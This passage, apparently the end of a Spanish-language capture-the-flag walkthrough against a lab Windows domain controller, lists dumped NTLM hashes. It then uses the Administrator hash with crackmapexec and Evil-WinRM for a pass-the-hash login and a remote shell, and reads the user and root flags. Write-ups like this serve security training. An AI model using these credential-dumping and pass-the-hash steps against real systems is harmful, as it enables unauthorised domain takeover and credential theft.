soupedecode.local\ijake23:1126:aad3b435b51404eeaad3b435b51404ee:801f7dab7e0d2381e2579a0d38ba7b66:::
soupedecode.local\rpenny24:1127:aad3b435b51404eeaad3b435b51404ee:5fab1372261215c4b044a87783431864:::
soupedecode.local\jiris25:1128:aad3b435b51404eeaad3b435b51404ee:aa6012bfc74a0369d29156021f3257bc:::

```

Por último nos conectamos con la cuenta de administrador y leemos las flags correspondientes.

```

(root@kali)~[/home/phoenixx/Escritorio/dc02]
# crackmapexec smb 192.168.1.150 -u 'Administrator' -H '8982babd4da89d33210779a6c5b078bd'
SMB 192.168.1.150 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 192.168.1.150 445 DC01 [*] SOUPEDECODE.LOCAL\Administrator:8982babd4da89d33210779a6c5b078bd (Pwn3d!)

```

```

(root@kali)~[/home/phoenixx/Escritorio/dc02]
# evil-winrm -i 192.168.1.150 -u 'Administrator' -H '8982babd4da89d33210779a6c5b078bd'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
soupedecode\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users
*Evil-WinRM* PS C:\Users> dir

Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -
d-----        6/15/2024 12:56 PM             Administrator
d-r-----        6/15/2024 10:54 AM              Public
d-----        6/17/2024 11:30 AM          zximena448

```

```

*Evil-WinRM* PS C:\Users> type .\Administrator\Desktop\root.txt
d41d8cd98f00b204e9800998ecf8427e
*Evil-WinRM* PS C:\Users> type .\zximena448\Desktop\user.txt
2fe79eb0e02ecd4dd2833cfcbbdb504c
*Evil-WinRM* PS C:\Users>

```